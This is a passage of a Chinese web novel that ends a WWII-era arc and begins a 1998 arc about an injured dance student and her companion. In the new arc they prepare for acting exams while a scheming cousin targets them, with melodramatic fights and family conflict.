彼时伊芙丽和美 国银行家结婚生下来的女儿克丽丝雅刚刚八岁。 克丽丝雅霍斯廷斯,虽然有个银行家父亲,但被母亲伊芙丽‘克死’了,堂嫂索菲亚替对方的家族驱魔,从而获得了她的冠姓权。 八岁的克丽丝雅是霍斯廷家族公爵爵位的继承人。 八十岁的老霍斯廷斯这样告诉自己的外孙女,“克丽丝雅,要听你堂兄的话,没有你堂兄就没有公爵之位。另外你记住,要听你堂嫂的话,不然后果比你不听堂兄的话还要严重。” 克丽丝雅心有余悸,“祖父,我记住了。” 一定要听堂嫂的话,不然就会喝黑乎乎的魔药。 老霍斯廷斯已经很老了,这之后没两年他就与世长辞。 出人预料的是,一手将霍斯廷斯推上公爵之位的费斯特子爵,却选择将公爵之位交给了仅有十岁的堂妹克丽丝雅。 詹姆斯和伊芙丽不解,“威廉,克丽丝雅年纪还小。” 霍骁北解释:“继承爵位需要回英国参加爵位交接仪式,你们也知道,夫人在外的形象。” 这些年随着温苒深入简出,她神秘巫师的身份不仅没有彻底消沉下去,反而愈加受人追捧。 继承银行家丈夫庞大财富的伊芙丽、美洲势力一再扩大登上公爵之位的霍斯廷斯家族、与费斯特子爵交好在总统大选中以黑马之姿突出重围的朗斯总统、身体康复后经商参政活跃人前的蒙莫西…… 以及众多让人艳羡的事情,都发生在温苒的周围,实在无法不让人相信她会巫术。 老霍斯廷斯去世的第二年,温老汉也走了。 他是家中独子,少时丧亲中年丧妻,被土匪逼迫远走关外,后又辗转来到美国,前半生贫困却安定,后半生富足却颠沛流离,晚景安康,儿孙绕膝,除了担心唯一的小孙女,他唯一的遗憾是再未能看一次家乡的风景。 时间平等地对待每一个人,人终有一死。 几年间,陆续有亲人离开。 但老么,头发全白的郭朝宗实在想不通,“温苒,霍骁北,你俩现在出去走一圈,我看能把巫师的身份给坐实了。” 大家都是人,都六十多岁了,怎么偏你俩那么与众不同呢? 温苒伏案编写医书,“你把头发染黑了,出去走一圈,打两套拳,也没人敢信你六十多岁了。” “哦,对了,我记得好莱坞很火的一个女明星不是对你一见钟情,多次示爱吗?” 一旁整理书页的克丽丝雅和温明灿对视一眼,温明灿吐了吐舌头,“姑姑,那个女明星才二十岁,把郭伯伯吓跑,现在躲到加拿大来了。” 克丽丝雅抱着肚子笑得前仰后合。 一九三八年,温一茂的儿子温明炎秘密乘船回到华国。 幼时的小胖墩成长得十分优秀,沉稳聪慧,有条不紊地推进着输送计划。 他带人深入后方,交付药品、衣物和粮食,并利用霍斯廷斯公爵丈夫的身份在前方周旋。 次年,温一荣的女儿温明灿带领仁心医学院的医护人员回到华夏,数百名水平超高的军医护士散入到大后方。 一九四三年,温苒和霍骁北被通知不日将离开本世界。 太平洋如今沦为美倭的战场,输送物资变得越来越困难。 离开前,两人将工厂秘密生产的武器和药品装船,穿过太平洋抵达天津。 等候在此的温明灿带人悄然转移物资,并在离开前神情坚定地说道:“姑姑,我想留在华国,请您帮我转告父亲母亲!” 可惜温苒没办法亲口帮她转告。 这一年的九月十三,轮船返回的路上,温苒和霍骁北离世。 在温明灿之后,温明炜也来到华国。 胜利那一年,一家人来到温苒和霍骁北的墓前。 郭朝宗打开收音机,循环播放那句激动人心的话。 “你说说吧,长得年轻有啥用,身子骨又不顶用。” 温一茂粗声粗气,“人都没了,你少说点儿吧,当心我妹夫去你梦里揍你。” 温一荣补充:“当心她们夫妻俩一起去梦里揍你。” 郭晨小声告诫少爷,“我看您晚上别睡得太实,这兄弟俩搞不好会去您屋里揍您。” 郭朝宗:“……” 周三娘、钱小菊和孙香梅在一旁默默烧书,“师父,您编写的书已经再版了,我们三个出钱购买了一批,捐给了华国医学院。” 她们的年纪都很老了,大家很快就会再见面的。 接下来一群人又絮叨了许久。 温明灿打定主意留在华国,她和她的丈夫在革命中相识相爱,有共同的理想,目前育有一子一女。 温明炜同样选择留在华国,他是武器制造专业,已于两月前来到美国,打着说服父母的意图。 温明炎的妻儿都在美国,他虽然同样想留下来,但考虑过后决定问问克丽丝雅的意见。 傍晚时分,一行人互相搀扶着离开。 微风拂过,静静注视着这一角。 第58章 第58章千禧年影后1 靠窗的书桌上,录音机里磁带转动,喇叭里潺潺流淌着港台金曲。 顶着厚重蘑菇刘海儿的老黄历挺起肚子,显示今天是1998年11月19号星期四。 这天是省舞蹈统考的日子。 也是温苒和霍骁北到这个世界的第三天。 三天前,舞蹈艺考生温苒在出发去省城考试时,被继母董秀英带来的弟弟文冬推下台阶,膝盖和脚踝严重受伤。 别说跳舞,站着都成问题,这样的情况肯定无法再参加考试。 结果就是除温苒外的一家四口,温苒的生父温长林、温长林的再婚对象董秀英、董秀英带来的一儿一女文冬和文雪继续出发去省城。 谁让这家里有两个舞蹈考生呢? “温苒受伤,还有文雪需要考试,她自己不看路受了伤,没法考试怪得了谁?可不能因为她再耽误小雪的考试!” ——来自生父温长林的原话。 至于温苒,连医院都是邻居伯父霍青山送她去的。 温家其余人都去了省城,温苒受伤腿脚不便,这些天就住在霍家。 霍青山就是霍骁北在这个世界的父亲。 这个世界是一本小说衍化而成的世界,小说剧情集年代、京圈少爷、娱乐圈、青梅竹马、久别重逢、虐恋情深等元素为一体,堪称狗血大杂烩。 自然,温苒不是女主,霍骁北也不是男主。 温苒只是个下场凄惨的女配,霍骁北只是个平平无奇的男配。 另外还要再加上‘反派’属性。 身为反派女配,剧情里温苒处处和女主做对,抢她的风头抢她的机会还抢她的男人,恶劣至极罪行滔天。 与之相匹配的是反派女配的下场:失去双腿、毁容、精神失常被关进医院,然后死在精神病院中。 和温苒一路落落落落落的剧情相比,霍骁北的剧情就稍显平常。 他暗恋邻居青梅竹马的妹妹温苒,一直在远处默默守护,在温苒死后他绑架女主废了女主的双腿,男主来救女主他又废了男主的腿。 惹了京圈少爷的下场,霍骁北的结局可以想见没有最惨只有更惨,但他明智地选择了自杀,没有给男女主报复回来的机会。 故事中的男女主不是别人,就在温苒和霍骁北的身边。 女主文雪,温苒继母的女儿。 男主霍成宇,霍骁北姑姑未婚生下来的儿子,出生后就一直被舅舅霍青山抚养。 剧情里,温苒被文冬推下台阶,背后就是受男主霍成宇挑唆。 温苒的母亲年轻时是市剧院的舞蹈演员,拿过奖还上过春晚,后来结婚生女时难产,产后恢复不理想,身体素质退步,被其他演员挤下舞台。 无法再站上舞台的温母将理想寄托在女儿身上,小小年纪就带她学习舞蹈。 温苒也很争气,不仅有天赋还肯吃苦,长京舞蹈学院到各省市挑苗子的老师都极力邀请温苒去长京发展,只不过当时温母病重温苒拒绝了。 长京舞蹈学院是华国最顶尖的舞蹈学院,每年招生数量不超过百人,这当中男女对半分,加上细分专业,温苒学习的古典舞专业每年仅招收二十名左右的女生。 二十个名额甚至不是面向全国,舞蹈学院有自己的中专附属院校,都是老师从各地挑选的好苗子,将近一半的名额都落在了附属学校的班里。 剩下的十个名额才是像温苒这样的艺考生争夺的位 置。 可以想见,一个省都不定分到一个名额,每年的舞蹈艺考竞争该有多激烈。 温苒和文雪同为舞蹈艺考生,文雪学习舞蹈的时间晚,天赋和条件一般,努力程度也不如温苒。 温苒有很大希望考上长京舞蹈学院,站在更大的舞台上追逐她和母亲共同的梦想,闪耀出人生的光芒。 文雪则只是那光芒照耀下的芸芸众生之一。 如此悬殊分明的对比,仿佛两人的人生刚刚开始就定了高下。 但文雪才是那个女主啊! 温苒身为一个女配,有什么资格活得比女主还耀眼? 这不报应来了,温苒虽然爹不疼娘没了,但她骄纵任性嚣张霸道见谁怼谁,拉仇恨的一把好手。 霸道温苒喜欢隔壁男主霍成宇,使出各种办法纠缠不清,霍成宇有暗恋的对象文雪,早就对温苒厌烦透顶。 这次温苒被文冬推下台阶错过考试,就是霍成宇对她不识好歹外加阻挠他和文雪感情的教训。 原剧情中,就是这一推,正式开启了反派女配的落落落之路。 与之相反的,则是文雪的起起起。 文雪考神庇佑,比她优秀的舞蹈生全部吃坏肚子,而她超常发挥夺下省考第一。 温苒腿伤严重无法再跳舞,对文雪嫉妒怀恨,想学文冬报复文雪,结果反倒自己失手跌下楼梯。 文雪考上长京舞蹈学院,温苒只能另辟蹊径选择表演专业,读了一所本省普通的艺术院校。 之后两人同时进入娱乐圈,文雪有男主霍成宇保驾护航,温苒单打独斗还要被霍成宇和文雪的追求者们针对。 小说的最后文雪拍一部电视剧火一部,和京圈少爷霍成宇公开恋爱三年抱俩,复出后继续拍电视剧,是娱乐圈常青树电视剧女王当之无愧的国民演员。 死在精神病院的原主怨气冲天,和系统做交易,请温苒帮她实现愿望。 原主的心愿:继续站在舞台上闪耀光芒! 温苒分析了一下,舞蹈统考错过没办法,只能和原主一样另辟蹊径,去考一考表演专业。 她被推下台阶受的伤很严重,外表看不出来,跑或者跳短时间强度小的可以,像之前那样长时间高强度练习却没办法支撑下来。 温苒自己倒是能调养,就是得花时间。 但舞蹈这行就是吃青春饭的,她今年才十六岁年纪就属于比较大的那一拨,等她调养好恢复状态再去考试,早就没有她的位置了。 就和当年温苒的母亲一样,她努力恢复身体,可等回到剧院,属于她的女主角位置早就被更年轻的女演员取代了。 书桌旁是一张单人硬木床,温苒躺在床上,无聊地翻一些地摊儿小说,等霍骁北放学回来给她带零食吃。 墙上挂钟的时针走到五和六的中间,一阵铃声从窗外传进来。 温苒丢掉小说,爬起来撑着桌面够到窗户边上,视线往下瞥,刚好看到霍骁北翻身下车,取下车筐里的书包和各式纸袋。 霍家的房子是自建楼房,二层,带小院,院里有一颗桂花树,就在温苒房间的楼下。 桂花早就谢了,秋末冬初的风只能刮进来又冷又硬的寒气。 脚步声由远及近,最终停在门口,下一秒房门被从外面打开,霍骁北带着东西走进来。 温苒盯着他手里的纸袋,杏眼晶亮,“我看到炒栗子了!” 霍骁北失笑,“待会儿晚饭,不能吃太多。” 他找出糖炒栗子拿给温苒,温苒接过来拆开纸袋,晃着脑袋挑选栗子。 霍骁北放下东西,卷起她的裤腿查看伤势,“周末我带你去医院,今天没忘记换药吧?” 温苒手牙并用,面目狰狞地和一颗难搞的栗子较劲,“换了,你不要质疑我的专业。” 霍骁北心说,你的专业就是不让洗澡非要洗,伤口沾水过一宿都泡得发白了。 他长臂一伸夺走纸袋,温苒气鼓鼓瞪着他,“我的栗子!我一个都还没吃呢!” 霍骁北从书包里翻出两页纸,“栗子我帮你剥,你先填报名表。” 温苒瞅了眼报名表,“不是说学校截止报名了吗?你从哪儿弄来的?” 霍骁北把纸和笔都塞到她手里,“你照着有字的那张表填。我找艺术班的班任打听到,学校截止报名的日期比教育局的截止日早三天,只要在之前把报名表交到教育局就可以。” 舞蹈类艺考统考通常是本省最早的,今年又是历年最早的一次,这才让温苒赶上报名时间。 霍骁北清理出桌面让温苒填表,温苒一边写字一边问他:“那你怎么办?” 霍骁北在一旁剥栗子,“导演和表演是一个通类,我的已经填好了。” “顺利报名的话,下周能拿到准考证,月底去省城参加统考,元旦前后去长京参加校考。” 温苒仔细地填完,把报名表放回他的书包里。 霍骁北看了眼确认位置,“包里有份资料是我向同学借的,你这几天多背一背练一练。” 温苒低头看回书包,震惊了。 那么厚,她以为是词典来着? 行吧,接下来终于不无聊了。 晚些时候,霍骁北的父母霍青山和乔丽淑下班回家,夫妻两个很快拾掇出四菜一汤。 霍骁北分出饭菜,上楼和温苒一起吃。 他道:“今天霍成宇没回家。” 温苒点头,“应该是他的亲生父亲找过来了。” 楼下,夫妻两个对着一桌饭菜吃得没滋没味。 乔丽淑叹气,“唉,儿子大了,外向。” 霍青山瞥媳妇儿,“把你嘴角压一压。” 乔丽淑顿时笑得更开心,笑完了问起霍成宇,“老霍,你真要那孩子认下他爸啊?” 霍青山放下碗筷,“孩子大了,看他怎么想吧。” 乔丽淑摇头,不看好这男人的想法,成宇那孩子虽然自小养在家里,但瞧着就冷性冷情的,真不是会记恩的人。 赵家和她们霍家天壤之别,赵家是长京市有权有势的大家族,而她们两口子只是普通的公务员。 乔丽淑知道男人的想法,他想留,但不能留,所以只能看孩子的心在哪边了。 深夜,霍成宇才从外面回来。 客厅里电视机小声开着,沙发上霍青山歪着身体打瞌睡。 霍成宇瞥见,脚步不停,一言不发上楼。 脚步声吵醒霍青山,他眯瞪着眼睛找到快上楼的霍成宇,“成宇回来了,早点睡,高三时间紧张,别误了上学时间。” 一声若有若无的回应飘下来,霍成宇的身影没入楼上黑暗。 霍青山叹了声气,关掉电视回房睡觉。 次日,霍骁北起个大早买早餐回来。 都是温苒爱吃的,油条肉包子甜豆花大麻花。 霍骁北进屋喊醒温苒,叮嘱她:“今天中午我不回家,去教育局送报名表。我跟隔壁奶奶说了,让她一起做你的饭。” 温苒胡乱点了两下脑袋,飞快缩回被窝。 霍骁北下楼时,刚好碰到起晚的商成宇。 霍成宇看了他一眼,又瞥了眼二楼温苒的房间,嗤笑道:“表哥你的眼光也不怎么样。” 霍骁北冷着脸跨上自行车,“不如你,最擅长自以为是。” 下一瞬他长腿一蹬出去八米远,风中只留下‘自以为是’的回音。 霍成宇脸色唰一下黑成锅底。 温苒讨厌,跟温苒扯上关系的人也讨厌。 霍骁北比霍成宇大半个月,两人在一个班级。 霍骁北成绩一般,模拟考在600分上下。 霍成宇通常比他少个二三十分,580分勉勉强强读个一本。 午休时间,高三生吃过饭就马不停蹄回到教室,恨不得不放过一点空闲学习。 这些天霍骁北都会向老师请假,回家给温苒做饭。 今天他照常请假,自行车出了校门,却拐向另一个方向。 霍成宇骑车跟在后面,心中泛起疑惑,霍骁北不回家是要去哪里? 学校就在教育局附近,两个地方隔了不到三条街。 很快,霍成宇就见霍骁 北进了教育局。 他来这里是想做什么?难不成要替温苒争取统考补考的机会? 霍成宇想了想,跟着进了教育局。 他倒要看看霍骁北在搞什么鬼。 霍骁北找到办公室,说明情况后上交了他和温苒的两份报名表。 下楼时,他就看到本不该出现在这里的霍成宇正跟一个中年男人交谈。 对方戴着眼镜身穿西装,一副精英人士的气质和打扮,姿态上对霍成宇毕恭毕敬。 霍骁北猜出了他的身份,来到两人不远处静静等待。 且不说赵家的秘书来教育局所为何事,霍成宇出现在这里绝对没有憋好东西。 霍成宇能坏事一次,就能坏两次。 表演艺考是温苒今年唯一的机会,霍骁北不能留下隐患。 霍成宇余光瞥见霍骁北的身影,中断和秘书的交谈,“我表哥在等我,先不说了。” 秘书推了推眼镜,笑着说道:“少爷的表哥是赵总的外甥,赵总很想了解少爷这些年的生活,我也想认识一下少爷的表哥。” 霍成宇扯出一个笑,“不用。” 他跟这个表哥关系一般,等他回了赵家,本就一般的关系就更加可以忽略了。 这样想着,霍成宇留下秘书,独自走到霍骁北面前站定,冷冷挑眉,“表哥,有事?” 霍骁北面无表情,“这话应该我问你。” 霍成宇两手插兜,看了眼霍骁北下来的楼梯,“听说楼上是艺考报名的办公室,表哥,你想报什么专业?” 霍骁北掀起眼帘,眼底沁着寒意,“赵成宇,你想回赵家吗?” 霍成宇不以为意,嗤笑出来,“表哥,你以为你是谁?你能左右赵家的想法?” 霍骁北冷冷说道:“你能被想起来,大概也是赵家没人了。” 霍成宇憋笑,“所以呢?然后呢?我是我爸唯一的儿子,赵家我想去就去,我不想去他们就得求我,你明白吗?” 霍骁北终于露出一抹笑意,“你十六岁时就混迹不良场所,我隐隐听说跟你在一起的女生有过孩子,不知道那些孩子几岁了?” 霍成宇终于镇定不在,举拳砸过去,“你敢?!” 霍骁北抬手轻松挡住这一拳,反手一甩,霍成宇正正砸向墙壁,颧骨登时一片青肿。 赵家的秘书连忙跑过来,“少爷!” 霍成宇紧咬着腮帮子,推开秘书,眼神狠戾地瞪着霍骁北。 霍骁北神情冷漠,“你应该知道什么不该做。” 霍成宇两手捏成拳,望着霍骁北的背影,牙齿咬得咯吱咯吱响。 “秘书,帮我找人,我要杀了他!” 最后一句几乎是嘶吼出来。 杀是不可能杀的,赵家虽然权大势大,但真没到手眼通天的地步。 何况对方是霍成宇的表哥,霍成宇不念情分,但赵家得念,不然传出去就是现成的把柄。 但教训还是得教训。 离开教育局时,距离下午上课还有点时间,霍骁北临时决定回家,看看温苒有没有好好吃饭。 霍家的房子在城中村,这个年代房地产的东风刚刚吹起来,规划得当的村子还不像后世一样脏乱差。 城中村的街道巷子四通八达,霍骁北进村没多久,就遇到一伙持刀带棒纹身遍布的‘内地古惑仔’迎面围上来。 “小子,惹了不该惹的人,上头让我们教训你,你老老实实噗——” 话还没说完,霍骁北一书包砸过去,力道之大把领头的壮汉砸晕了过去。 一伙十二三个的混混,他三下五除二抢走棍子卸了刀,绑一块儿交给附近的邻居,拜托他们喊警察过来。 丢下这边,霍骁北火急火燎飞奔回家。 赵成宇找人来堵他,难保不会找人对温苒做什么。 房间里,温苒没等来隔壁奶奶送午饭,只好从签到系统里面取出一份盒饭,吃完背资料。 她背得入神,直到房门被大力推开才猛不丁惊得回神。 望着眼前一脑门汗的霍骁北,温苒懵了,“你你你这是怎么了?” 霍骁北有满级古武技能,他出这么多汗要么是温度高,要么就是一气跑个十几公里,现在这是? 看到她安然无恙,霍骁北放下心来。 “自行车坏了,我怕误了时间,午饭吃了什么?” 温苒从资料后面小心地打量他,“今天签到给了盒饭,吃的那个。” 霍骁北皱眉,想到什么他眼底罕见地闪过一抹厌恶,“应该是赵成宇去过隔壁。” 温苒:“……” 不是?她就吃个饭也不行吗? 这男主也真的是让人无语,从来没见过这么小气下作的男主。 霍骁北把中午在教育局的事情告诉温苒,“这些天把门锁好,不要给他开门。” 温苒垂着脑袋,“哦。” 霍骁北一听就不对,凑近了掌心托起她的下巴,视线一寸寸打量她的表情,“不要耍心思,你现在有伤。” 温苒不满地推开他,小声嘟囔着:“我知道了,你快走吧,再不走该误了下午的课。” 霍骁北回到教室,没多久赵成宇也出现了,望过来时表情满是愤恨。 转天是周末。 霍骁北带温苒去医院复诊,回来时,人意外的齐全。 乔丽淑从沙发上起来,“小苒你过来坐,阿姨买了排骨,咱中午炖排骨吃。” 霍青山一起去了厨房帮忙。 客厅的电视里播放着电视剧,沙发上温苒和霍骁北并排坐,赵成宇独自坐在单人沙发上。 温苒瞥了眼赵成宇,心里评价道:长得一般般,身高一般般,气质一般般,总的来说外表很一般。 这么普通的外表,再加上讨人厌的性格,真想不通为什么安排这样的人做主角? 文雪罪不至此啊! 温苒观察赵成宇的时候,赵成宇也在默默观察温苒。 几日不见,温苒比记忆中安静了许多,但整个人更加耀眼夺目,本来就漂亮现在越发让人挪不开眼睛。 瞥到一旁的霍骁北,赵成宇垂下眼睛,想到了报仇的办法。 温苒看电视剧正入迷,眼前一道身影走过,又很快走回来。 赵成宇:“小苒,喝杯果汁。” 霍骁北转头,冷冷地看着他。 温苒以为是霍骁北,“嗯,哦,你放那儿吧。” 眼睛却还紧紧盯着电视剧。 赵成宇不死心,坐在沙发扶手上,伸手去揽温苒的肩膀,同时挑衅地看了霍骁北一眼。 霍骁北低声,轻轻唤了一句:“温苒。” 温苒回神,抬头去找他,还没动腰身就缠上了一只手臂,手臂用力,她跌进霍骁北怀里。 几乎在同时,身后传来一身惨叫。 霍骁北的嗓音在头顶震动,“手不想要可以剁了。” 厨房里忙活午饭的两口子忙慌慌跑出来。 霍青山看到这情况,先开口:“骁北你这是做什么?快把你弟弟放开!” 霍骁北冷着脸丢掉赵成宇的手臂,赵成宇顺着力道被甩下沙发,抱着抽疼的手臂满头大汗。 霍骁北什么时候会这一手的? 霍青山担忧地上前,“成宇你没事吧?感觉怎么样?需不需要去医院?” 乔丽淑站在原地没动,默默给儿子一个眼神,说道:“骁北,带小苒回房间,你看她都吓坏了。” 听见这话,温苒作势一脸害怕地往霍骁北怀里缩。 乔丽淑:“……” 闺女,你别这么实诚,净让这臭小子占便宜没够了。 霍骁北抱起温苒,送她上楼。 沙发旁的地上,赵成宇终于从疼痛中缓过劲来。 面对舅舅霍青山的关心,他内心无动于衷甚至想笑,但脸上却十分感动受用,通红着眼眶,嗓音哽咽:“舅舅,是我不对,我看表哥把手搭在温苒的肩上,一直对温苒动手动脚,我想劝他别这么做,他不听,我……” 赵成宇淡定地扯谎,丝毫没有会被温苒拆穿的担心。 笑话! 温苒刚才偷看他别以为他不知道? 霍骁北喜欢温苒,温苒喜欢他,在他和霍骁北之间 ,相信温苒该知道怎么选择。 第59章 第59章千禧年影后2 霍骁北送温苒回房,房门半开着,没说两句话就见霍青山怒气冲冲进来。 碍于温苒,霍青山压制住怒火没有当场发作,他只冲霍骁北喝道:“你跟我下来!” 霍骁北抬脚跟上,却被温苒拽住,听到她掐着嗓音可怜兮兮说道:“伯伯,你不要怪骁北哥,都是我不好,我也不知道自己做错了什么霍成宇就想打我,骁北哥担心我,阻止的时候才下手没轻没重的,您千万别怪骁北哥啊!” 霍骁北:“……” 霍青山愣住,“你说什么?成宇要打你?” 温苒神情怯弱地点了点头,拽回霍骁北缩到他怀里,只露出一双可怜巴巴的眼睛,“伯伯,我这些天是不是打扰你们了?我在你们家白吃白喝还没给钱……” 后面的声音越来越小,眼里蓄出的泪也越来越满。 霍青山想也不想就打断温苒,竭力柔声道:“没有的事!小苒你别胡思乱想,咱们几十年的邻居,骁北小时候也到你家住过,这都不算什么。” “你跟伯伯说说,你刚才讲的成宇要打你,是真的吗?” 温苒垂下眼睛,轻轻‘嗯’了一声。 霍青山迟疑了,“这……” 他看看这姑娘,再看看被姑娘抱着的儿子,又想到楼下另一套说辞的外甥,他到底该信谁啊? 站在门外听了全程的乔丽淑翻了个白眼。 都说隔壁温长林是有了后妈成后爹,依她看她这个亲妈还好端端的,霍青山这狗东西的心就偏得没边儿了! 哦,霍成宇说什么你就信,你都不过脑子气冲冲就过来质问儿子,有你这样当爹的吗? 乔丽淑忍不了,推门进来,一把推开碍眼的霍青山,高声说道:“成宇说他见骁北对小苒你不老实,所以出手阻止骁北,骁北不听,他继续劝但没想到骁北恼羞成怒。” 要不要脸?!! 温苒气得险些从床上跳下来,霍骁北把她摁回去,她用力拍着床,脸都红了,“他说谎!分明是他要打、不是、是他手脚不老实想占我便宜!他恶人先告状!他倒打一耙!” 乔丽淑走过来,安抚地捋着她的后背,“没事了,没事,让你伯伯教训成宇。” 被推搡撞到墙上的霍青山臊红了脸,结结巴巴开口:“小苒,你放心,伯伯肯定帮你教训成宇,你放心。” 楼上的争吵声传到楼下,赵成宇听着,昨天在霍骁北那里受到的侮辱一扫而空,心里瞬间就畅快了。 霍青山和乔丽淑下楼时脸色一个比一个难看,更让赵成宇确信,霍骁北和这两人大吵了一架。 赵成宇痛苦地抱着手臂,“舅舅,您好好跟表哥说,别动手。表哥不知道跟什么人学的,最近经常跟人动手,他身手是好,但万一哪天就碰到硬茬子吃亏了呢?” 赵成宇说完,垂下脑袋余光观察着霍青山的反应。 他设想中,自己的话可以把霍青山消下去的怒火挑起来,霍青山应该转身上楼再教训霍骁北一顿。 结果霍青山只是皱了皱眉,看了他一眼,然后叫上乔丽淑进了厨房。 赵成宇愕然抬头,望着两人的背影不知道哪里出错了,为什么霍青山没有按照他的计划去做呢? 赵成宇狠狠皱起眉,脑海里回想刚才霍青山的反应。 可惜他那会儿低着脑袋,根本没看清楚。 赵成宇失望地锤了下沙发,算了,让霍骁北吃到教训就行,八成是霍青山心疼亲儿子才没再做什么。 厨房里。 乔丽淑哂笑地盯着丈夫,“老霍,你不是答应小苒,要帮她教训成宇吗?” 霍青山择菜的动作顿了顿,端着盆子转了个方向,“待会儿我把小苒隔壁的房间收拾出来,让骁北过去住几天。成宇马上回赵家,以后有他爹教育他,我就不插手了。” 乔丽淑嗤笑。 霍青山听到妻子不客气地笑声,从耳根红到了脸上,火辣辣的疼。 楼上,温苒大喷特喷墨水:“阴险狡诈心胸狭窄卑鄙下作无耻之尤——” 她拽着霍骁北,抬头气呼呼问道:“他刚才真要占我便宜?” 霍骁北揉揉她的头发,“不是,是想打你。” 温苒:“……” 温苒瞪他,“我想打你!” 霍骁北顿时失笑,笑着在她身边坐下,“待会儿我去教训他,替你多出几口恶气。” 温苒靠进他怀里,“这还差不多。” 饭后霍骁北看着温苒午睡下,悄悄离开房间,来到赵成宇的屋子。 霍骁北从兜里摸出温苒让他捏报废的发卡,捅进锁眼里搅了两下,门开,他推门进去,反手锁门。 赵成宇正在午睡,霍骁北走到床边,扯起被子把他蒙头盖住,拳头雨点般砸下去。 赵成宇半梦半醒间遭受一顿毒打,第一想法是地震,第二想法是绑架,第三个想法才反应过来,因为他听到了霍骁北的声音。 霍骁北! 完全清醒过来的赵成宇咬牙切齿,我跟你没完! 霍骁北给了几拳,抬脚给赵成宇踹下床。 赵成宇踢开被子,站起来就往霍骁北这边出拳,“你找死!” 霍骁北抬腿又是一脚,“还想回赵家就老实待着,你的那个孩子今年也有两岁了,从小教养大的和半路认回来的孩子,赵家会怎么选你应该清楚。” 赵成宇倒在地上,神情阴狠狰狞,死死瞪着这个以前从未放在眼里的表哥。 是他看走眼了,霍骁北这个怂货以前不显山不露水,碰到温苒的事就完全不打算遮掩。 可笑! 霍骁北以为他算什么东西? 不过是拳脚功夫好了点,在赵家面前什么都不是! 等他找到那个孩子的下落,他会让霍骁北明白得罪他的下场! 赵成宇心里的算计一个又一个,面上却嘴硬,讽刺笑道:“在温苒那里被嫌弃,就来我这里发泄?表哥,你说温苒知道我身上的伤都是你打的,她会不会心疼?” 霍骁北:“……” 温苒只怕会高兴地下地走两圈,要心疼也只会心疼他动手的时候有没有受伤,跟你一个低级绿茶男有什么关系? 温苒形容的很准确,赵成宇,是个low-green。 霍骁北的沉默在赵成宇看来,就是被他戳中了心思。 赵成宇得意地大笑,“表哥我早就说了你眼光很差劲唔——” 话还没说完,一片阴影罩下来,打断了他的话。 被子之后,霍骁北扯下褥子,一块砸过去,然后走上前,腿起脚落。 棉被下传出一声低闷的惨叫,人形轮廓抽搐两下,似是昏死过去。 赵成宇再醒来,是被冷水泼醒的。 眼前一片恍惚,他整个人仿佛轻飘飘的,如置云端一般。 霍骁北拍了拍他的脸,看到他眼神聚焦后,警告道:“我已经通知那对母子离开先前的住址,她们去了哪里只有我知道。所以收起你那些心思,回赵家当你的大少爷,我们井水不犯河水。” 目光扫了下赵成宇的腿,霍骁北站起来,居高临下的眼神中满是冷漠。 “爸妈在午睡,你自己去医院。” 说完,霍骁北转身离开。 门合上,安静的房间里嘶吼声起伏,牙齿摩擦咯吱作响。 一双通红的眼睛死死瞪着房门。 霍骁北!你给我等着!我不会放过你的! 霍骁北轻手轻脚回了温苒的房间,找出课本认真学习。 他几辈子真没有哪次正儿八经参加过高考。 唯一的一次是在记忆里,他穿越时已经在大学读研究生。 等温苒睡醒,霍骁北一五一十告诉她,“帮你出过气了。” 温苒趴在资料上,笑着冲他眨眼,“我猜,赵成宇一定在无能狂怒。” 赵成宇被闻讯赶来医院的秘书扶上车,黑沉着脸,“不管你用什么办法,霍骁北或者温苒,给我毁了她们!” 秘书:“……” 秘书心里苦,老板流落在外的这个私生子是不是脑子有问题? 超雄?还是反社会人格?怎么动不动就要这个死那个毁的? 他只是个普普通通打工拿钱的秘书,真干不了这杀人放火的缺德事! 可以想见,等这位少爷回到赵家,还不知道会仗着赵大少的身份闹出什么幺蛾子? 秘书心里打起了退堂鼓,等回到长京,他肯定主动申请外调,实在不行就辞职! 秘书心思飞转,面上挤出一抹笑意来,“少爷,可是这两个人得罪你了?” “少爷,您无需为了不相干的人生气,气大伤身。” 赵成宇神情阴郁发狠,黑黝黝的眼神静静看着秘书,把秘书看得心里发毛。 秘书硬着头皮继续开口:“少爷,这些人有眼无珠,得罪您无非是因为你现在无依无靠。您只要回到赵家,有了赵家少爷的身份,再从您父亲那里得到认可,接手赵家的权势,不必您开口,这些人自会匍匐在您的脚下战战兢兢地求饶。” 秘书一番话说得赵成宇心潮澎湃。 他垂下视线,扯起嘴角露出一抹冷笑。 霍骁北,我偏要回到赵家坐稳大少的位置,我要让你知道,只有我才是赵家唯一的继承人! 我赵家少爷的起点,是你霍骁北一辈子都追不上的! 那天之后,赵成宇就不见了踪影。 霍青山急得嘴角冒了一串燎泡,“成宇同学那边都打电话问过了,都说没跟成宇在一起。” 周一,霍骁北放学回家,“爸,我去教务处打听,霍成宇的学籍已经被转走了,昨天刚办的手续。” 霍青山整个人狠狠震了下,许久后回过神来,慢慢把手里的话筒放回去,“哦,那什么,骁北,你,算了……” 霍青山抹了把脸,撑着膝盖站起来,挪着步子慢吞吞上楼回了房间。 他的背影萧瑟蹒跚,带着难言的悲伤。 乔丽淑叹气,“别管他,谁叫他假大方,一早就把户口页给了你表弟。” 现在好了,孩子心里头根本没你这个舅舅,养了十几年一声不吭说走就走。 赵成宇离开的第三天,去省城参加考试的温家人喜气洋洋地回来了。 “考上了考上了,第一名呢!” 街上温长林的大嗓门儿嗷嗷叫唤,以凶猛不可抵挡的姿态冲进温苒的房间。 温苒从资料里抬头,懒懒地掀起视线瞥了眼。 温长林这高兴劲儿,就差胸前别朵大红花,再手拎两百挂鞭炮,高举‘我儿中了’的横幅招摇过市。 乔丽淑端着水果进来,“小苒,这两天还住阿姨家吧,阿姨家里人少清静,适合你养伤学习。你伯伯还说他请假,到时候我们一起送你和骁北去省城考试,你觉得咋样?” 温苒当然一点意见也没有。 她相信,温长林这个‘后爸’对她这个可有可无的‘亲生女儿’住在哪里应该也不关心。 果然,回来当天温长林就只忙了一件事:散播文雪省考第一名的喜事。 第二天傍晚温长林下班回来,才到隔壁霍家来问:“老霍,温苒是在你家吧?” 霍青山拉着脸,真是怎么看温长林怎么不顺眼,尤其温长林还面带笑容,就更不顺眼了。 哪有这样当爹的? 女儿受了伤不闻不问,还欢欢喜喜送继女去考试。 温苒可是他亲生的! 大夫都说了,孩子这伤就算恢复也最好不要再跳舞。 这些天温苒不说,她们两口子却看在眼里,孩子都没以前活泼开朗了,就知道她该多伤心? 